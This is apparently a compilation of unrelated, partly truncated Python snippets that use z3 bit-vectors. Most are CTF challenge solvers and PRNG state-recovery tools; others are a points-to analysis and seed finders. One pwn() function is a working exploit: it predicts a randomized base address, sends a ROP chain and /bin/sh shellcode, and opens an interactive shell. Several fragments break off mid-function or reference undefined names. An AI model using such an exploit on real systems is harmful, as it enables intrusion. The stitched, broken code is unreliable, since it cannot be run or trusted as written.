def make_value_vars(prefix): vInput = list( z3.BitVecs(id_arr(f'{prefix}_valInput', nInput), 32, ctx)) vPR = [(list( z3.BitVecs(id_arr(f'{prefix}_valParam_{i}', comp.arity), 32, ctx)), z3.BitVec(f'{prefix}_valReturn_{i}', 32, ctx)) for i, comp in enumerate(lib)] vOutput = z3.BitVec(f'{prefix}_valOutput', 32, ctx) return vInput, vPR, vOutput
def main(): if len(argv) == 1: io = process("./a.out") else: io = remote(argv[1], int(argv[2])) log.info("get output") out = get_output(io, 10) x0, y0 = z3.BitVecs('x0 y0', 64) x, y = x0, y0 s = z3.SimpleSolver() for v in out: s.add((x + y) & bit64 == v) x, y = xo128(x, y, z3.LShR) ans = [] for i in range(1, sys.maxsize): if s.check().r != 1: break # quit if failed soln = s.model() x, y = (soln[i].as_long() for i in (x0, y0)) ans += [ "ACTF{" + long_to_bytes(x).decode("utf-8")[::-1] + long_to_bytes(y).decode("utf-8")[::-1] + "}" ] for j in range(10): x, y = xo128(x, y) s.add(z3.Or(x0 != soln[x0], y0 != soln[y0])) for a in ans: log.info("possible flag: " + a)
def main(): global BYTECODE regs = z3.BitVecs('r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15', 32) regs_b = regs[:] code = Buffer(BYTECODE) opcode = None while opcode != 255: opcode = code.read_byte() if opcode == 0: lh = code.read_byte() rh = code.read_byte() regs[lh] = regs[lh] ^ regs[rh] elif opcode == 2: lh = code.read_byte() rh = code.read_byte() regs[lh] = regs[lh] | regs[rh] elif opcode == 3: lh = code.read_byte() rh = code.read_byte() regs[lh] = regs[lh] + regs[rh] elif opcode == 4: lh = code.read_byte() rh = code.read_byte() regs[lh] = regs[lh] - regs[rh] elif opcode == 5: lh = code.read_byte() rh = code.read_byte() regs[lh] = regs[lh] << regs[rh] elif opcode == 16: lh = code.read_byte() rh = code.read_dword() regs[lh] = rh elif opcode == 17: lh = code.read_byte() rh = code.read_byte() regs[lh] = regs[rh] final_expr = z3.simplify(regs[0]) s = z3.Solver() s.add((final_expr) == 0) if s.check() == z3.sat: m = s.model() key = ''.join(map(p32, [m[regs_b[i]].as_long() for i in xrange(4)])) print key else: print 'parasha kakaja-to' return
def solve2(): s = z3.Solver() x, y = z3.BitVecs('x y', 32) s.add(x > 1) s.add(y > 1337) s.add(x * y == 1337) if s.check() == z3.sat: m = s.model() _x = m[x].as_long() _y = m[y].as_long() r.sendline("%d %d" % (_x, _y))
def solve1(): s = z3.Solver() x, y = z3.BitVecs('x y', 32) s.add(x <= 1336) s.add(y <= 1336) s.add(x - y == 1337) if s.check() == z3.sat: m = s.model() _x = m[x].as_long() _y = m[y].as_long() r.sendlineafter("x: ", str(_x)) r.sendlineafter("y: ", str(_y))
def verify_equivalent(source_expr, targ_expr, bitnumber=8): x, y, z, a, b, c, d, e = z3.BitVecs("x y z a b c d e", bitnumber) try: leftEval = eval(source_expr) rightEval = eval(targ_expr) except: return "unsat" solver = z3.Solver() solver.add(leftEval != rightEval) result = solver.check() return str(result)
def verify_equivalent(leftExpre, rightExpre, bitnumber=8): x, y, z, a, b, c, d, e = z3.BitVecs("x y z a b c d e", bitnumber) try: leftEval = eval(leftExpre) rightEval = eval(rightExpre) except: return 'unsat' solver = z3.Solver() solver.add(leftEval != rightEval) result = solver.check() return str(result)
def solve3(): s = z3.Solver() a, b, c, d, e = z3.BitVecs('a b c d e', 32) s.add(a < b) s.add(b < c) s.add(c < d) s.add(d < e) s.add(a + b + c + d + e == a * b * c * d * e) print("here") if s.check() == z3.sat: m = s.model() _a = m[a].as_long() _b = m[b].as_long() _c = m[c].as_long() _d = m[d].as_long() _e = m[e].as_long() print("yeet") r.sendline("%d %d %d %d %d" % (_a, _b, _c, _d, _e))
def find_seeds(ec, pid): solver = z3.Solver() start_s0 = z3.BitVecs('start_s0', 64)[0] sym_s0 = start_s0 sym_s1 = 0x82A2B175229D6A5B # EC call sym_s0, sym_s1, condition = sym_xoroshiro128plus(sym_s0, sym_s1, ec) solver.add(condition) # TID/SID call sym_s0, sym_s1 = sym_xoroshiro128plusadvance(sym_s0, sym_s1) # PID call sym_s0, sym_s1, condition = sym_xoroshiro128plus(sym_s0, sym_s1, pid) solver.add(condition) models = get_models(solver) return [model[start_s0].as_long() for model in models]
def f2(): a, b, c, d = z3.BitVecs('a b c d', 3) # 4 bitvectors variable tuple = z3.Datatype('tuple') # new data type 'tuple' tuple.declare( 'tuple', ('f1', z3.BitVecSort(3)), ('f2', z3.BitVecSort(3))) # f1, f2 are for accessing element in tuples tuple = tuple.create() tuple1 = tuple.tuple(a, b) # tuple1 -> (a, b) tuple2 = tuple.tuple(b, c) # tuple2 -> (b, c) tuple1_f2 = tuple.f2(tuple1) # a #tuple1_f2 = tuple.f2(tuple1) # b tuple2_f1 = tuple.f1(tuple2) # c print(tuple1_f2, tuple2_f1) if (tuple1_f2 == tuple2_f1): print("hi") arr0 = z3.K(tuple, False) # arr0 -> arr0[tuple] = false arr1 = z3.Store(arr0, tuple1, True) # arr1 -> arr0[tuple1] = true arr2 = z3.Store(arr1, tuple2, True) # arr -> arr0[tuple2] = true print(arr0) print(arr1) print(arr2) #print(arr1[tuple1]) #print(arr2[tuple2]) #print(arr0) #print(arr1) #print(arr2) s = z3.Solver() s.add(tuple1_f1 == tuple2_f2) # a = c s.add(tuple1_f1 == tuple1_f2) # a = b
def second(): solver = z3.Solver() chars = z3.BitVecs( ''.join((f'd{d:02} ' for d in range(len(expected) - 1))), 32) for ch in chars: solver.add(ch > 47, ch <= 57) an = chars[0] for i in range(len(chars) - 1): v1 = chars[i + 1] - ord('0') an = ((v1 + fn(an, i + an)) % 10) + ord('0') solver.add(an == expected[i + 1]) solver.add(chars[0] == ord('7')) assert solver.check() == z3.sat rv = '' for i in range(len(chars)): rv += chr(solver.model()[chars[i]].as_long()) print(rv) return rv
def find_origin_seeds(ec, pid, tid, sid, shiny): solver = z3.Solver() start_s0 = z3.BitVecs('start_s0', 64)[0] sym_s0 = start_s0 sym_s1 = 0x82A2B175229D6A5B # EC call sym_s0, sym_s1, sym_ec = sym_xoroshiro128plus(sym_s0, sym_s1) # TID/SID call sym_s0, sym_s1, sym_sidtid = sym_xoroshiro128plus(sym_s0, sym_s1) # PID call sym_s0, sym_s1, sym_pid = sym_xoroshiro128plus(sym_s0, sym_s1) # Validate EC solver.add(sym_ec == ec) # Validate pid type sym_shiny = (sym_sidtid >> 16) ^ (sym_sidtid & 0xffff) ^ ( sym_pid >> 16) ^ (sym_pid & 0xffff) if shiny == 0: solver.add(sym_shiny >= 16) elif shiny == 1: solver.add(sym_shiny < 16) else: solver.add(sym_shiny == 0) # Validate PID if shiny != 0: high = (sym_pid & 0xffff) ^ tid ^ sid ^ (2 - shiny) sym_pid = (high << 16) | (sym_pid & 0xffff) solver.add(sym_pid == pid) return [result[start_s0].as_long() for result in get_results(solver)]
def xo128(x, y, LShR=lambda x, i: x >> i): y ^= x return y ^ LShL(y, 14) ^ (LShL(x, 55) | LShR(x, 9)), (LShL(y, 36) | LShR(y, 28)) if sys.argv[1] == 'seed': # usage xo128.py seed x y x = int(sys.argv[2], 0) y = int(sys.argv[3], 0) for i in range(10): # generate random numbers print hex((x + y) & bit64) x, y = xo128(x, y) sys.exit() x0, y0 = z3.BitVecs('x0 y0', 64) x, y = x0, y0 s = z3.SimpleSolver() for v in sys.argv[1:]: n = int(v, 0) s.add((x + y) & bit64 == n) x, y = xo128(x, y, z3.LShR) for i in xrange(1, sys.maxint): print '\n#%d = %s' % (i, s.check()) if s.check().r != 1: break # quit if failed soln = s.model() x, y = (soln[i].as_long() for i in (x0, y0)) print 'state =', hex(x), hex(y) for j in range(10): # show predictions
import z3 a, b = z3.BitVecs('a b', 32) s = z3.Solver() s.add(a > 3, b > 1) # shifts are only possible with BVs s.add(a == 1 << b) print(s.check()) print(s.model())
def create_z3_fp_program(self): fp = z3.Fixedpoint() fp.set(engine='datalog') loc_sort = z3.BitVecSort(32) result = '' locations = {} inv_locations = {} counter = 0 for method in self._module.methods(): for param in method.parameters(): locations[param] = counter inv_locations[counter] = param counter += 1 for local_var in method.local_variables(): locations[local_var] = counter inv_locations[counter] = local_var counter += 1 for alloc in method.allocations(): locations[alloc] = counter inv_locations[counter] = alloc counter += 1 points_to = z3.Function('points_to', loc_sort, loc_sort, z3.BoolSort()) X, Y, Z = z3.BitVecs('X Y Z', loc_sort) fp.declare_var(X, Y, Z) fp.register_relation(points_to) for method in self._module.methods(): print Store for block in method.blocks(): for instruction in block.instructions(): if isinstance(instruction, Address): # X := &Y # X -> Y c1 = z3.BitVecVal(locations[instruction.target], loc_sort) c2 = z3.BitVecVal(locations[instruction.rhs], loc_sort) fp.fact(points_to(c1, c2)) elif isinstance(instruction, DirectVariableAssignment): # X := Y # All Z: Y -> Z => X -> Z if isinstance(instruction.target.get_type(), Pointer): c1 = z3.BitVecVal(locations[instruction.target], loc_sort) c2 = z3.BitVecVal(locations[instruction.source], loc_sort) fp.rule(points_to(c1, X), [points_to(c2, X)]) elif isinstance(instruction, Load): # X := *Y # ALL Z1, Z2: Y -> Z1 && Z1 -> Z2 => X -> Z2 c1 = z3.BitVecVal(locations[instruction.target], loc_sort) c2 = z3.BitVecVal(locations[instruction.rhs], loc_sort) fp.rule(points_to(c1, Y), [points_to(c2, X), points_to(X, Y)]) elif isinstance(instruction, Store): # *X := Y # ALL Z1, Z2: X -> Z1 && Y -> Z2 => Z1 -> Z2 if isinstance(instruction.rhs.get_type(), Pointer): c1 = z3.BitVecVal(locations[instruction.target], loc_sort) c2 = z3.BitVecVal(locations[instruction.rhs], loc_sort) fp.rule(points_to(X, Y), [points_to(c1, X), points_to(c2, Y)]) print 'FP: %s' % fp fp.query(points_to(X, Y)) print 'Q: %s' % fp.get_answer() answer = fp.get_answer() print answer.arg(0).children()[0] print answer.arg(0).children()[1] print inv_locations for i in xrange(0, answer.num_args()): p1 = (answer.arg(i).children()[0].arg(1)).as_long() p2 = (answer.arg(i).children()[1].arg(1)).as_long() print '%s points to %s.' % (inv_locations[p1], inv_locations[p2])
return (t * 9) & bit64 func = sys.argv[1] # '+' = plus scrambler if func not in ('+', '**'): # '**' = mul-rotate-mul print 'Unknown scrambler' sys.exit() if sys.argv[2] == 'seed': # usage xo256.py func seed x0 x1 x2 x3 x = [int(sys.argv[i], 0) for i in range(3, 7)] for i in range(10): # generate random numbers print '0x%x' % scramble(x, func) xoshiro256(x) sys.exit() x0, x1, x2, x3 = z3.BitVecs('x0 x1 x2 x3', 64) x = [x0, x1, x2, x3] # mutable state, allow update s = z3.SimpleSolver() for v in sys.argv[2:]: # usage xo256.py func seq1 seq2 seq3 ... s.add(scramble(x, func, z3.LShR) == int(v, 0)) xoshiro256(x, z3.LShR) for i in xrange(1, sys.maxint): print '\n#%d = %s' % (i, s.check()) if s.check().r != 1: break # quit if failed soln = s.model() x = [soln[i].as_long() for i in (x0, x1, x2, x3)] print 'seed = 0x%016x,%016x,%016x,%016x' % tuple(x) for j in range(10): # show predictions print '0x%x' % scramble(x, func)
import z3 h = [ 0xA7, 0xBF, 0xD2, 0x9E, 0x0F, 0x01, 0x6B, 0x53, 0x68, 0x37, 0xB7, 0x60, 0x7C, 0xBA, 0xB4, 0xA8 ] xor = [ 212, 162, 242, 218, 101, 109, 50, 31, 125, 112, 249, 83, 55, 187, 131, 206 ] h = [h[i] ^ xor[i] for i in range(16)] x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15 = z3.BitVecs( 'x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15', 8) s = z3.Solver() s.add( z3.And( (h[0] == x2 ^ x3 ^ x4 ^ x8 ^ x11 ^ x14), (h[1] == x0 ^ x1 ^ x8 ^ x11 ^ x13 ^ x14), (h[2] == x0 ^ x1 ^ x2 ^ x4 ^ x5 ^ x8 ^ x9 ^ x10 ^ x13 ^ x14 ^ x15), (h[3] == x5 ^ x6 ^ x8 ^ x9 ^ x10 ^ x12 ^ x15), (h[4] == x1 ^ x6 ^ x7 ^ x8 ^ x12 ^ x13 ^ x14 ^ x15), (h[5] == x0 ^ x4 ^ x7 ^ x8 ^ x9 ^ x10 ^ x12 ^ x13 ^ x14 ^ x15), (h[6] == x1 ^ x3 ^ x7 ^ x9 ^ x10 ^ x11 ^ x12 ^ x13 ^ x15), (h[7] == x0 ^ x1 ^ x2 ^ x3 ^ x4 ^ x8 ^ x10 ^ x11 ^ x14), (h[8] == x1 ^ x2 ^ x3 ^ x5 ^ x9 ^ x10 ^ x11 ^ x12), (h[9] == x6 ^ x7 ^ x8 ^ x10 ^ x11 ^ x12 ^ x15), (h[10] == x0 ^ x3 ^ x4 ^ x7 ^ x8 ^ x10 ^ x11 ^ x12 ^ x13 ^ x14 ^ x15), (h[11] == x0 ^ x2 ^ x4 ^ x6 ^ x13), (h[12] == x0 ^ x3 ^ x6 ^ x7 ^ x10 ^ x12 ^ x15), (h[13] == x2 ^ x3 ^ x4 ^ x5 ^ x6 ^ x7 ^ x11 ^ x12 ^ x13 ^ x14), (h[14] == x1 ^ x2 ^ x3 ^ x5 ^ x7 ^ x11 ^ x13 ^ x14 ^ x15),
def pwn(): readtil('Quit\n') # Instantiate SMT solver to recover the PRNG state and subsequently # be able to calculate the next address the binary will rebase to solver = z3.Solver() prevstate = z3.BitVecs('x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 x10 x11 x12 x13 x14 x15', 32) variables = prevstate[:] # Feed solver the observed values idx = 15 for i in range(16): idx = prngz3(prevstate, idx) curr_value = view_state() solver.add(prevstate[idx] == curr_value) # Solve all the things! assert solver.check() == z3.sat print("[+] State sucessfully recovered") # Extract previous state ... state = [] for v in variables: if solver.model()[v]: state.append(solver.model()[v].as_long()) else: # One variable can't be recovered as it is overwritten before # being used in any operation. Obviously no big deal though. state.append(0) # ... and forward to current state idx = 15 for i in range(16): idx = prng(state, idx) # Verify that everything works idx = prng(state, idx) assert state[idx] == view_state() print("[+] Able to predict future PRNG output") # Calculate next base and pwn the process with a simple ropchain. # Binary calls rand() once for every byte it receives... for i in range(101): idx = prng(state, idx) base = state[idx] & ~0xfff print("[+] Next base address: 0x{:x}".format(base)) mmap = 0x754 read = 0x8af adjust = 0x1d73 # esp += 28 rop = b'A' * 22 rop += p(base + mmap) rop += p(base + adjust) rop += p(0x31337000) rop += p(0x1000) rop += p(0x7) rop += p(0x20 | 0x10 | 0x2) rop += p(0xffffffff) rop += p(0) rop += p(0x41414141) rop += p(base + read) rop += p(0x31337000) rop += p(0) rop += p(0x31337000) rop += p(0x1000) smash_stack(rop) # the standard stuff sc = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" send(sc) print("*** pwned ***") t = telnetlib.Telnet() t.sock = s t.interact()
import z3 s = z3.Solver() # Create 8-bit bitvectors for each of the 21 chars in the string. chrlist = z3.BitVecs( 'c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 c10 c11 c12 c13 c14 c15 c16 c17 c18 c19 c20 c21 c22', 8) # Do a preliminary constraint that all characters must be ascii. for char in chrlist: s.add(z3.And(0x20 < char, char < 0x7f)) def get_models(s): while s.check() == z3.sat: m = s.model() yield m s.add(z3.Or([sym() != m[sym] for sym in m.decls()])) # add constraints from program: # given values s.add(chrlist[2] == ord('t')) s.add(chrlist[9] == ord('c')) s.add(chrlist[16] == ord('n')) s.add(chrlist[21] == ord('z')) s.add(chrlist[22] == ord('}')) # some of these are new, TODO: add them back to the go prog s.add(chrlist[5] == chrlist[2] - 1) s.add(chrlist[2] ^ chrlist[3] == 18)
from rfb_mc.implementation.direct_integrator_z3 import DirectIntegratorZ3 from rfb_mc.implementation.eamp.eamp_edge_scheduler import EampEdgeScheduler from rfb_mc.implementation.eamp.eamp_rfmi_z3 import EampRfmiZ3 from rfb_mc.implementation.runner_z3 import FormulaParamsZ3, RunnerZ3 from rfb_mc.types import Params from rfb_mc.implementation.aws.dynamodb_store import DynamodbStore dynamodb = boto3.resource("dynamodb") # should be replaced with used table and requires AWS CLI credentials to be setup table = dynamodb.Table("rfb_mc_store_test") RunnerZ3.register_restrictive_formula_module_implementation(EampRfmiZ3) if __name__ == "__main__": k = 20 x, y, z = z3.BitVecs("x y z", k) f = z3.And([ z3.URem(x, 200) == 0, z3.URem(y, 200) == 0, z3.ULT(z, x + y), ]) a = 100 ident = DynamodbStore.create_store_data_entry( table, Params(bit_width_counter=Counter({k: 2}), ), ) store = DynamodbStore(table, ident)
#! /usr/bin/python3.7 import z3 c1, c2, c3 = z3.BitVecs('c1 c2 c3', 64) rbx, r13, rbp, = c1, c2, c3 # rbx must equal 0x471DE8678AE30BA1 r13 = 0x83F66D0E3 rbp = 0x24A452F8E rbx = rbx * r13 rbx = rbx + rbp rbx = rbx * r13 rbx = rbx + rbp rbx = rbx * r13 rbx = rbx + rbp rbx = rbx * r13 rbx = rbx + rbp rbx = rbx * r13 rbx = rbx + rbp